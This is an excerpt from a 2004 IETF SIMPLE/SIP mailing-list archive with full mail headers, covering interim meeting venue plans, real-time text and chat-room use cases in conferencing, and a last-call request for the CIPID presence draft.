>Dan
>
>
>
> > -----Original Message-----
> > From: sip-admin@ietf.org [mailto:sip-admin@ietf.org]On Behalf
> > Of Kozdon, Peter
> > Sent: 22 March, 2004 7:55 PM
> > To: 'john.loughney@nokia.com'; dean.willis@softarmor.com;
> > sipping@ietf.org
> > Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> > Subject: RE: [Sip] RE: [Sipping] Proposed dates for SIPish
> > interim meetings
> >
> >
> > The closest airport is Denver International (45 minutes
> > drive)  - there is
> > at least 1 direct flight from Europe (LH via Frankfurt)
> >
> > -----Original Message-----
> > From: sip-admin@ietf.org [mailto:sip-admin@ietf.org] On Behalf Of
> > john.loughney@nokia.com
> > Sent: Sunday, March 21, 2004 10:13 PM
> > To: dean.willis@softarmor.com; sipping@ietf.org
> > Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
> > Subject: [Sip] RE: [Sipping] Proposed dates for SIPish
> > interim meetings
> >
> > Dean,
> >
> > > As I understand it, the leading candidate for venue is the
> > Boulderama
> > > in Boulder, Colorado. Rohan's current proposal is to ask
> > each attendee
> > > to contribute $50 toward meeting fees (princiaplly, renting
> > the room).
> > > Of course, if somebody wants to sponsor the meeting and pick up the
> >
> > Is there an option of someone hosting the meeting?  This is probably
> > easier to do than finding someone to foot the bill.
> >
> > Also, Boulder is 3 to 4 hops away from Europe, which seems
> > sub-optimal ...
> >
> > John
> >
> >
> > _______________________________________________
> > Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol Use
> > sip-implementors@cs.columbia.edu for questions on current sip Use
> > sipping@ietf.org for new developments on the application of sip
> >
> > _______________________________________________
> > Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol
> > Use sip-implementors@cs.columbia.edu for questions on current sip
> > Use sipping@ietf.org for new developments on the application of sip
> >
>
>_______________________________________________
>Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
>This list is for NEW development of the core SIP Protocol
>Use sip-implementors@cs.columbia.edu for questions on current sip
>Use sipping@ietf.org for new developments on the application of sip


cheers,
James

                                *******************
                 Truth is not to be argued... it is to be presented


_______________________________________________
Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
This list is for NEW development of the core SIP Protocol
Use sip-implementors@cs.columbia.edu for questions on current sip
Use sipping@ietf.org for new developments on the application of sip

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 22 17:38:53 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29917
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 17:38:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Y4M-0001uk-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 17:38:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Y3M-0001ok-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 17:37:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Y2h-0001iU-00; Mon, 22 Mar 2004 17:37:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Y2Y-0000ak-86; Mon, 22 Mar 2004 17:37:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Y2R-0000Yq-4N
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 17:36:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29837
	for <simple@ietf.org>; Mon, 22 Mar 2004 17:36:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Y2O-0001hY-00
	for simple@ietf.org; Mon, 22 Mar 2004 17:36:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Y1Y-0001be-00
	for simple@ietf.org; Mon, 22 Mar 2004 17:36:01 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Y0j-0001Q1-00; Mon, 22 Mar 2004 17:35:09 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 22 Mar 2004 14:39:24 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i2MMYaaD010726;
	Mon, 22 Mar 2004 14:34:37 -0800 (PST)
Received: from cisco.com ([161.44.79.74])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGZ74946;
	Mon, 22 Mar 2004 17:34:35 -0500 (EST)
Message-ID: <405F69FA.3040404@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Gunnar Hellstrom <gunnar.hellstrom@omnitor.se>
CC: XCON <xcon@ietf.org>, SIMPLE <simple@ietf.org>,
        Alan Johnston <alan.johnston@mci.com>,
        "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
Subject: Re: [Simple] RE: Chat sessions
References: <BHEHLFPKIPMLPFNFAHJKKEGMDOAA.gunnar.hellstrom@omnitor.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 17:34:34 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Gunnar Hellstrom wrote:
> Text conferencing does not need to be a sidebar.
> I see text usage in a conference setting divided mainly in two variants.
> 
> 1. Real time text in the main conference.
> -------------------------------------------
> There is a valid use of real time text as part of the main conference. That
> is for all kinds of real time "subtitling" of a conference.
> 
> The reason may be that the audience is of mixed language background, and
> need a typed translation while the main voice medium is left as it is.
> 
> Another reason may be that there are participants who cannot hear the
> voice, and need to see it typed.
> 
> This type of text conferencing need to be real time, character by character
> ( or close to that ). Since it should flow together with other media in
> real time, I think it is most natural to implement it with the text
> transmitted as a streaming media in RTP, as specified by RFC2793 and
> RFC2793bis, and initiated with the other real time media audio and video
> with SDP at session initiation time.
> It is the extension of the real time point to point call into the
> multipoint world. The three natural media are video, text and audio.
> One natural way to display it, if video is also included, is to display
> text under the video image of the person sending the text, or the person
> being text-interpreted.
> 
> 2. Text Chat messaging in Chat rooms and sidebars
> ---------------------------------------------------
> For the sidebar text Chat rooms, I would expect that the users often are
> more happy to see the discussion message wise. They can then concentrate on
> the main conference and occationally look at the sidebar if there are new
> messages there. That would be the SIMPLE traditional IM view of text.

I think the above are some excellent use cases. (But they aren't the 
only use cases involving IM and/or Instant Text.

> Would it be OK to use the term "text conferencing" for no 1, and "Chat
> rooms" for no 2 ?
> I expect XCON to mainly concentrate on no 1, and SIMPLE on no. 2. Therefore
> I post this to both groups.

I think this is too narrow a view. People use IM (message based) chat 
rooms every day, and this application also must be addressed by XCON.

I also see cases where some of the participants don't have the 
capability to handle all the media in use in the conference. All of 
audio, video, message based IM, real time text may be in use in the 
conference. Some participants may have only audio, others only 
audio/video, others only video and real time text, and perhaps some only 
IM. Those that don't have all the media may just miss some content, but 
they may also get some via transcoding. Pretty much every combination 
has some relevance.

And there seems no need to exclude any medium from sidebars, though as 
you point out, the value proposition for media in sidebars may be 
different than it is in the main conference.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 22 17:39:29 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29989
	for <simple-archive@odin.ietf.org>; Mon, 22 Mar 2004 17:39:29 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Y4T-00015V-QW
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 17:39:02 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MMd1Do004162
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 17:39:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Y4R-00013O-EJ
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 17:38:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29937
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 17:38:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Y4O-0001uy-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 17:38:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Y3N-0001ot-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 17:37:54 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Y2h-0001iU-00; Mon, 22 Mar 2004 17:37:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Y2Y-0000ak-86; Mon, 22 Mar 2004 17:37:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Y2R-0000Yq-4N
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 17:36:55 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29837
	for <simple@ietf.org>; Mon, 22 Mar 2004 17:36:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Y2O-0001hY-00
	for simple@ietf.org; Mon, 22 Mar 2004 17:36:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Y1Y-0001be-00
	for simple@ietf.org; Mon, 22 Mar 2004 17:36:01 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Y0j-0001Q1-00; Mon, 22 Mar 2004 17:35:09 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-2.cisco.com with ESMTP; 22 Mar 2004 14:39:24 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i2MMYaaD010726;
	Mon, 22 Mar 2004 14:34:37 -0800 (PST)
Received: from cisco.com ([161.44.79.74])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGZ74946;
	Mon, 22 Mar 2004 17:34:35 -0500 (EST)
Message-ID: <405F69FA.3040404@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Gunnar Hellstrom <gunnar.hellstrom@omnitor.se>
CC: XCON <xcon@ietf.org>, SIMPLE <simple@ietf.org>,
        Alan Johnston <alan.johnston@mci.com>,
        "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
Subject: Re: [Simple] RE: Chat sessions
References: <BHEHLFPKIPMLPFNFAHJKKEGMDOAA.gunnar.hellstrom@omnitor.se>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 17:34:34 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



Gunnar Hellstrom wrote:
> Text conferencing does not need to be a sidebar.
> I see text usage in a conference setting divided mainly in two variants.
> 
> 1. Real time text in the main conference.
> -------------------------------------------
> There is a valid use of real time text as part of the main conference. That
> is for all kinds of real time "subtitling" of a conference.
> 
> The reason may be that the audience is of mixed language background, and
> need a typed translation while the main voice medium is left as it is.
> 
> Another reason may be that there are participants who cannot hear the
> voice, and need to see it typed.
> 
> This type of text conferencing need to be real time, character by character
> ( or close to that ). Since it should flow together with other media in
> real time, I think it is most natural to implement it with the text
> transmitted as a streaming media in RTP, as specified by RFC2793 and
> RFC2793bis, and initiated with the other real time media audio and video
> with SDP at session initiation time.
> It is the extension of the real time point to point call into the
> multipoint world. The three natural media are video, text and audio.
> One natural way to display it, if video is also included, is to display
> text under the video image of the person sending the text, or the person
> being text-interpreted.
> 
> 2. Text Chat messaging in Chat rooms and sidebars
> ---------------------------------------------------
> For the sidebar text Chat rooms, I would expect that the users often are
> more happy to see the discussion message wise. They can then concentrate on
> the main conference and occationally look at the sidebar if there are new
> messages there. That would be the SIMPLE traditional IM view of text.

I think the above are some excellent use cases. (But they aren't the 
only use cases involving IM and/or Instant Text.

> Would it be OK to use the term "text conferencing" for no 1, and "Chat
> rooms" for no 2 ?
> I expect XCON to mainly concentrate on no 1, and SIMPLE on no. 2. Therefore
> I post this to both groups.

I think this is too narrow a view. People use IM (message based) chat 
rooms every day, and this application also must be addressed by XCON.

I also see cases where some of the participants don't have the 
capability to handle all the media in use in the conference. All of 
audio, video, message based IM, real time text may be in use in the 
conference. Some participants may have only audio, others only 
audio/video, others only video and real time text, and perhaps some only 
IM. Those that don't have all the media may just miss some content, but 
they may also get some via transcoding. Pretty much every combination 
has some relevance.

And there seems no need to exclude any medium from sidebars, though as 
you point out, the value proposition for media in sidebars may be 
different than it is in the main conference.

	Paul


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 22 18:27:48 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03527
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 18:27:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Yph-0007FK-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 18:27:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Yom-00079V-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 18:26:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Yo2-00073g-00; Mon, 22 Mar 2004 18:26:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Ynz-0003ck-3e; Mon, 22 Mar 2004 18:26:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Yno-0003bD-Ps
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 18:25:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03402
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:25:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Ynl-00071d-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:25:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Ymu-0006ve-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:24:56 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5YmH-0006pV-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:24:17 -0500
Received: from magnum.cs.columbia.edu (IDENT:root@magnum.cs.columbia.edu [128.59.16.117])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2MNOHRH003029
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:24:18 -0500 (EST)
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	by magnum.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id i2MNOHC23126
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:24:17 -0500
Message-ID: <405F75A1.7080808@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
Subject: Re: [Simple] I-D ACTION:draft-ietf-simple-cipid-01.txt
References: <200403222044.PAA19719@ietf.org>
In-Reply-To: <200403222044.PAA19719@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 18:24:17 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I believe that earlier versions of this draft have received substantial 
discussion; this version incorporates all comments received. I would 
appreciate a WGLC.

Internet-Drafts@ietf.org wrote:

> A New Internet-Draft is available from the on-line Internet-Drafts directories.
> This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.
> 
> 	Title		: CIPID: Contact Information in Presence Information Data Format
> 	Author(s)	: H. Schulzrinne
> 	Filename	: draft-ietf-simple-cipid-01.txt
> 	Pages		: 8
> 	Date		: 2004-3-22
> 	
> The Contact Information for Presence Information Data Format (CIPID)
>    adds elements to the Presence Information Data Format (PIDF) that
>    provide additional contact information about a presentity and its
>    contacts, including references to address book entries and icons.
> 
> A URL for this Internet-Draft is:
> http://www.ietf.org/internet-drafts/draft-ietf-simple-cipid-01.txt
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 22 18:28:20 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03549
	for <simple-archive@odin.ietf.org>; Mon, 22 Mar 2004 18:28:20 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Ypm-0003tv-8L
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 18:27:54 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MNRsug014991
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 18:27:54 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Ypl-0003ti-7L
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 18:27:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03541
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 18:27:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Ypi-0007FP-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 18:27:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Yom-00079c-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 18:26:53 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Yo2-00073g-00; Mon, 22 Mar 2004 18:26:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Ynz-0003ck-3e; Mon, 22 Mar 2004 18:26:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Yno-0003bD-Ps
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 18:25:52 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03402
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:25:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Ynl-00071d-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:25:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Ymu-0006ve-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:24:56 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5YmH-0006pV-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:24:17 -0500
Received: from magnum.cs.columbia.edu (IDENT:root@magnum.cs.columbia.edu [128.59.16.117])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2MNOHRH003029
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:24:18 -0500 (EST)
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	by magnum.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id i2MNOHC23126
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:24:17 -0500
Message-ID: <405F75A1.7080808@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
Subject: Re: [Simple] I-D ACTION:draft-ietf-simple-cipid-01.txt
References: <200403222044.PAA19719@ietf.org>
In-Reply-To: <200403222044.PAA19719@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 18:24:17 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I believe that earlier versions of this draft have received substantial 
discussion; this version incorporates all comments received. I would 
appreciate a WGLC.

Internet-Drafts@ietf.org wrote:

> A New Internet-Draft is available from the on-line Internet-Drafts directories.
> This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.
> 
> 	Title		: CIPID: Contact Information in Presence Information Data Format
> 	Author(s)	: H. Schulzrinne
> 	Filename	: draft-ietf-simple-cipid-01.txt
> 	Pages		: 8
> 	Date		: 2004-3-22
> 	
> The Contact Information for Presence Information Data Format (CIPID)
>    adds elements to the Presence Information Data Format (PIDF) that
>    provide additional contact information about a presentity and its
>    contacts, including references to address book entries and icons.
> 
> A URL for this Internet-Draft is:
> http://www.ietf.org/internet-drafts/draft-ietf-simple-cipid-01.txt
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 22 18:28:51 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03602
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 18:28:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Yqi-0007MR-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 18:28:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Ypp-0007GX-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 18:27:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Yp6-00079t-00; Mon, 22 Mar 2004 18:27:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Yoz-0003iO-KH; Mon, 22 Mar 2004 18:27:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Yok-0003hM-Ap
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 18:26:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03449
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:26:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Yoh-00078Y-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:26:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Ynt-00072u-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:25:57 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5YnE-0006wQ-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:25:16 -0500
Received: from magnum.cs.columbia.edu (IDENT:root@magnum.cs.columbia.edu [128.59.16.117])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2MNOsRH002745
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:24:54 -0500 (EST)
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	by magnum.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id i2MNNCC23097
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:23:12 -0500
Message-ID: <405F7560.50601@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en
MIME-Version: 1.0
